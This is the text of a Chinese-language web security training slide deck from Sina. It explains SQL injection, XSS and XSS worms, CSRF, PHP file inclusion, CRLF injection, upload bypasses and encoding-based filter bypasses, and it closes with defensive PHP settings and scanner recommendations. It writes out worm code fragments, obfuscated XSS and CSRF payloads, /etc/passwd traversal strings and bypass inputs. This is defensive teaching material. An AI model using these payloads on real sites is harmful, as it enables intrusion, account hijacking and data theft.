新浪web安全培训ppt课件.ppt
内容简介1. 知己知彼,百战不殆2. 解析黑客手中的利器3. 捍卫代码城堡4. 剑走偏锋5. 惊栗后的深思6. 双剑合壁,新浪WEB安全培训 ver.2,互联网攻击趋势(统计来自 computer.org),脚本安全编程重要性,脚本安全编程重要性,1.知己知彼,百战不殆,传统攻击流程,WEB攻击流程,WEB攻击流程,2.解析黑客手中的利器,黑客攻击技术曝光,一、脚本黑客的瑞士军刀-SQL注入攻击1.猜解出数据库中的敏感信息2.如果连接权限高的话会得到文件操作权限(load_file,into outfile)3.根据数据库特性执行系统命令,SQL注入利用的是参数传递的时候过滤不严时用参数组合成正确的SQL语句来执行操作的技术。 简单的理解为:涉及进入SQL语句操作的变量没有过滤输入与转义输出实例-夜猫软件下载系统(攻击与修复)http:/10.210.128.58/ymdown/show.php?id=1,黑客攻击技术曝光,黑客攻击技术曝光,二、暗夜中舞动的精灵-XSS跨站脚本攻击1. 进行会话劫持2. CSRF3. XSS WORM4. 社会工程攻击、钓鱼、拒绝服务5. 涂鸦页面,XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码(恶意JS代码),当用户浏览该页之时,嵌入其中Web里面的html代码(恶意JS代码)会被执行,从而达到恶意用户的特殊目的。输入一些数据需要在页面中显示出来,但是没有对这段数据做过滤输入或者转义输出。,黑客攻击技术曝光,xss特点继承浏览器权限社会工程,被动攻击影响广泛(只要浏览器支持JavaScript)隐蔽,难以察觉XSS可能出现在哪?1. HTML标签外部2. HTML标签内部(属性、事件)3. 输入到javascript代码,黑客攻击技术曝光,黑客攻击技术曝光,WEB安全新挑战-XSS WORM两段真实的XSS WROM统计数据,百度XSS蠕虫攻击统计,黑客攻击技术曝光,新浪博客 v5.0 蠕虫var blogtitle = I OwNed youR BloGvar blogbody = YourE mY fOOd.蠕虫传播主体,不要构造这里var xmlhttp = new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/admin/article/article_add.php,false);xmlhttp.send();var xss = xmlhttp.responseText;token=xss.indexOf(vtoken);if(token0)vtoken=xss.substr(token+15,32);xmlhttp.open(post,/admin/article/article_post.php,false);xmlhttp.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xmlhttp.send(album=,黑客攻击技术曝光,新浪空间 好友纸条群发蠕虫- 获取cookie中的uid -cookie=unescape(request(cookie)cflag=Instr(cookie,nick=)dflag=Instr(cookie,);)省略.- 遍历好友数 -for i = 1 to 500- 得到此uid的好友 -url=http:/ & uid & &page= & i & &pagesize=1xml.open GET,url,Falsexml.sendhtmlcon=b2bstr(xml.responsebody)- 提取好友uid -aflag=Instr(htmlcon,record:uid:)bflag=InStr(htmlcon,ftype)If aflag 0 And bflag 0 Thenokflag=Replace(Replace(mid(htmlcon,aflag,bflag),record:uid:,),)Else- 超过最大好友数就中断 -exit forEnd If- playload -Response.Write “next,黑客攻击技术曝光,永无止境的斗争-XSS过滤,黑客攻击技术曝光,新浪圈子-Html标签内部进攻,黑客攻击技术曝光,仔细分析该处也进行了敏感字符的过滤,比如javascript,TAB字元,“)等,但是经过测试发现这种过滤非常容易绕过,例如:JaVaScrIpT:eval(unescape(xmlhttp%3Dnew%20ActiveXObject%28%22Msxml2.XMLHTTP.3.0%22%29%3Bxmlhttp.open%28%22GET%22%2C%22/g33k/bbs/topic/tid%3D13037271%22%2Cfalse%29%3Bxmlhttp.send%28%29%3Balert%28xmlhttp.responseText%29%3B);,黑客攻击技术曝光,被污染的页面代码:aaa ,黑客攻击技术曝光,新浪VIP邮箱CSRF攻击,黑客攻击技术曝光,代码分析javascript:eval(unescape(xmlhttp=new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/classic/setforward.php?optype=1,黑客攻击技术曝光,黑客攻击技术曝光,XSS重组攻击先进后执行/*/(hi);/*/alert/*/*,黑客攻击技术曝光,三、千里之堤,毁于蚁穴-PHP文件包含漏洞服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。,黑客攻击技术曝光,常见的攻击手法1.包含本地任意文件(读取、执行)2.包含远程任意文件(执行)3.直接执行系统命令(php:/input)本地包含&远程包含,黑客攻击技术曝光,文件包含$file=$_GETfile;include($file);include(/config/.$file);路径包含$path=$_GETpath;include($path./config.php);,黑客攻击技术曝光,黑客攻击技术曝光,黑客攻击技术曝光,四、一切尽在不言中-目录遍历1.查看当前以及其他目录结构与其文件2.危害目的由不正当使用的函数决定3.危害升级,CRLF注入。,Vuln Code:$fp = fopen($url, r);fpassthru($fp);,黑客攻击技术曝光,四又1/2、文件名操作函数引发的血案CRLFPHP 的 fopen(), file() 及其它函数存在一个缺陷,即用户随意地添加额外HTTP报头信息到HTTP请求数据包中。攻击者可以利用此缺陷绕过服务器的安全限制,进行非法访问。在某些情况下,这个缺陷甚至可以打开任意的网络连接,在代理端执行PHP脚本和打开邮件转发。,黑客攻击技术曝光,doc.php?url=http%3A%2F%2F%3A25%2F+HTTP/1.0%0D%0AHELO+%0D%0AMAIL+FROM%3A%3C%3E%0D%0ARCPT+TO%3A%3C%3E%0D%0ADATA%0D%0ACRLF+is+here%0D%0A.%0D%0AQUIT%0D%0A%0D%0Aurl=http:/:25/+HTTP/1.0HELO+MAIL+FROM:RCPT+TO:DATACRLF+is+here.QUIT,黑客攻击技术曝光,GET / HTTP/1.0HELO MAIL FROM:RCPT TO:DATACRLF is here.QUITHTTP/1.0Host: :25 ,黑客攻击技术曝光,Warning: fopen(http:/ RCPT TO: DATA CRLF is here . QUIT ) function.fopen: failed to open stream: HTTP request failed! 220 staff- - Server ESMTP (Sun Java System Messaging Server 6.2-3.04 (built Jul 15 2005) in /opt/lampp/htdocs/doc.php on line 3虽然测试由于一些原因失败,但是已经证明了攻击的存在性,黑客攻击技术曝光,黑客攻击技术曝光,五、飞向光明之巅-文件上传攻击1.直接获取webshell2.WEB系统瞬间沦陷,直接威胁服务器安全,黑客攻击技术曝光,恶意PHP文件上传方法1.精心构造后缀(php3,PhP,php.)2.构造文件类型 Content-Type3.截断程序流程(shell.php%00.jpg)4.服务器解析缺陷(test.php.rar),黑客攻击技术曝光,黑客攻击技术曝光,危险的本地JS检查function isAllowedAttach(sFile) var sUploadImagesExt = .jpg .gif .png; var sExt = sFile.match( /.*$/ ) ; if (sExt) sExt = sExt0.toLowerCase(); else if(!isAllowedAttach(file) show_error(上传图片格式不正确,upinfo); return false; ,黑客攻击技术曝光,六、没有硝烟的战争-黑客攻击的艺术1.淘金(html,js注释,备份文件,服务器报错信息)2.猜测文件与目录3.其他人留下的漏洞4.社会工程5.0day6. .,真的这么简单吗?在保证代码安全的前提下还要有风险对抗意识。如果攻击者已经得逞,如何将损失、数据泄露、权限流失保证到最低限度。,黑客攻击技术曝光,3.捍卫代码城堡,捍卫代码城堡,代码安全的本质-恶意数据来自哪里?1.显示变量输入 $_GET $_POST $_COOKIE $_SESSION $_SERVER .,2.隐式输入来自于数据库来自于配置文件来自于缓存文件.,捍卫代码城堡,捍卫代码城堡,什么是敏感字符?SQL注入: id=1 and 1=1 id=1 and 1=2 union select 1,2,3.XSS: alert() “img src=# onerror= javascriptInclude: vuln.php?path=./././etc/passwd vuln.php?path=http:/xxx/s.jpg%3f,捍卫代码城堡,由此可见,敏感字符没有固定的形式与样子,取决于黑客攻击的目标的特性.对于SQL注入,过滤单引号(字符型),整形处理(数字型),与一些常用SQL关键字(select,update,and,or.),那将对SQL注入技术给予致命的打击!过滤,那么对于防范html标签外的XSS攻击可以说是彻底的。,捍卫代码城堡,SQL注入过滤方法常用变量字符替换函数str_replace()字符转义函数addslashes()常用数字判断函数is_numeric(),is_int().,捍卫代码城堡,XSS跨站攻击解决方法XSS是输出到页面的内容,如果仍然过滤会打乱用户无意提交的敏感字符组成的文章,所以这里推荐转义HTML转义函数:htmlentities(),htmlspecialchars()会把转义成,这样显示的内容不变,而且恶意标签已经失去意义 ,捍卫代码城堡,但是!切记!XSS没有我们想象的简单,XSS不仅仅存在与html中,它可能存在与CSS中,错误的HTTP头中,cookies中,Flash中,甚至是一张图片中.,捍卫代码城堡,捍卫代码城堡,Its a Good idea局限法select name,pass from user where uid = $id;看上面的例子,将用户的输入局限在一对单引号或者双引号中,然后过滤掉单引号和双引号,防止用户截断,捍卫代码城堡,当然,WEB安全也不仅仅是过滤,严谨的逻辑思维更重要,看一个案例新浪房产:POST /yh1/zhuce/mebermanage.php HTTP/1.1省略HTTP头信息mbflag2=2&mebname=admin&mbpwd=123456&mbpwd2=123456&mbemail=xss&Submit3=%CC%E1%BD%BB,捍卫代码城堡,文件包含文件操作类漏洞的解决1.控制本地读取的路径(小心./进行目录跳出)2.控制远程读取的路径(http:/xxx/xxx)3.最根本还是控制文件名变量的形态!,捍卫代码城堡,利用PHP本身对抗文件操作进攻allow_url_fopen = Off(禁止打开远程文件链接) allow_url_include = Off(禁止远程包含文件) open_basedir = /opt/www(禁止指定目录外的文件操作)safe_mode = On(PHP将检查当前脚本的拥有者是否和被操作的文件的拥有者相同),捍卫代码城堡,利用PHP本身对抗命令执行进攻disable_functions = system(),passthru()(该指令接受一个用逗号分隔的函数名列表,以禁用特定的函数)如果你的程序不需要使用这些函数请禁掉,因为webshell会经常使用,捍卫代码城堡,利用PHP本身对抗字符注入进攻magic_quotes_gpc = On(检查来自GET/POST/Cookie的数据并自动转义敏感字符) Its very cool ,转义 VS 过滤选择那个?转义后的敏感字符会导致程序处理流程出错,最后将错误显示到页面。,捍卫代码城堡,捍卫代码城堡,守口如瓶-不能说的秘密php执行错误报错的信息一些人看起来不算什么,但是对于一个黑客来说,也许是罪恶的开始。1.暴露数据库结构2.暴露物理路径,捍卫代码城堡,Warning: include() function.include: Failed opening for inclusion (include_path=.:/opt/lampp/lib/php) in /opt/lampp/htdocs/path.php on line 3display_errors = Off(关闭错误回显),4.剑走偏锋,剑走偏锋,不得不承认,在这个网络安全乱世,黑客平民化的网络时代中,安全已经远远没有想象中的那么简单。攻击者的目光已经不在那些没有安全处理的变量上,而是向这些正常程序函数或安全处理机制下了毒手。黑客的必杀技?!,剑走偏锋,不想突破的黑客不是好黑客-GPC的绕过在PHP5中,$_SERVER变量不再受其保护,导致攻击者可以把单引号、双引号和空字元带入程序$_SERVERHTTP_X_FORWARDED_FOR$_SERVERHTTP_REFERER$_SERVERQUERY_STRING,剑走偏锋,GPC的绕过请求GET /gpc.php?a=sina HTTP/1.0Accept: */*Accept-Language: zh-cnAccept-Encoding: gzip, deflateHost: 10.210.128.58Connection: Keep-AliveX-Forwarded-For: SinaReferer: Sina,剑走偏锋,剑走偏锋,魔高一尺-幽灵般的XSS绕过技术htmlentities()真的是标签XSS终结者?xss.php?xss=%2bADw-SCRIPT%2bAD4-alert(/xss%20is%20here!/)%2bADw-%2fSCRIPT%2bAD4-utf7+urlencode and other.,剑走偏锋,道高一丈-毛骨悚然SQL注入绕过技术Addslashes()真的是字符型SQL注入的终结者?注意user的值: SELECT * FROM user WHERE user = 籠sinaadmin AND pass = sinaadminGBK中0 xbb27不是合法的双字节字符(中文),0 x27相当于(),被转义成0 xbb5c27(/),但是0 xbb5c是一个合法的中文字符,由此注入了一个0 x27()。,Page 66,Page 67,Page 68,剑走偏锋,十面埋伏-preg_replace()中的陷阱+/e执行漏洞Preg_repace当第一个参数的正则表达式参数有e符号的时候,第二个参数的字符串当做PHP代码执行。,剑走偏锋,变量中转攻击通过表达式提取preg_repace()的第三个参数,通过n中转提交的第三个参数里的PHP代码。s*/ies, 1, $h); / “1”为第一参数里正则表达试匹配后的值?,黑客们的武林绝技当然不只是这些,这里举例的仅仅是凤毛麟角而已,还有更多已经公布的,更多未公布的,令我们防不胜防的招数在黑暗中向我们挑战!,剑走偏锋,5.惊栗后的深思,问题为什么会存在?1.来自开发者本身 对安全认识的不足,逻辑不严谨,编写失误,思维盲区2.来自于语言本身 配置错误,函数的安全隐患,安全措施的绕过,惊栗后的深思,要对你的工具有充分的了解1.了解语言特性语言环境等基本配置,各种选项的功能与缺陷,自带函数的深刻理解与灵活运用2.了解相关产品的特性 web服务器的配置与安全选项,数据库的操作与权限划分(SQL注入攻击灵巧的利用了MYSQLMSSQL等的特性),惊栗后的深思,惊栗后的深思,安全编程五个要素1. 对你所使用的语言有充分的了解2. 坚信任何用户的输入都是不安全的3. 过滤数据远远没有限制输入安全4. 最少的服务+最小的权限=最大的安全5. 保持清晰的思维,6. 双剑合壁,在繁重的程序开发工作中,忽然要对安全如此的重视,必然使工作更加繁重,而且还会发生更多的错误。推荐几款漏洞自动检测工具(白盒、黑盒)优秀的工具不仅仅是举例这些,双剑合壁,双剑合壁,宝刀未老-grep,双剑合壁,精灵古怪-PHP Xcode,双剑合壁,短小精悍-SuiGenchi (0 x000000),大家闺秀-ratproxy (google开源xss检测代理),双剑合壁,东邪-WebInspect,双剑合壁,西毒-Acunetix Web Vulnerability Scanner,双剑合壁,工具诚可贵,技术价更高!工具仅仅是工具,毕竟最理解程序的,还是赋予代码灵魂的程序员。,双剑合壁,谢谢!,新浪WEB安全培训 ver.2,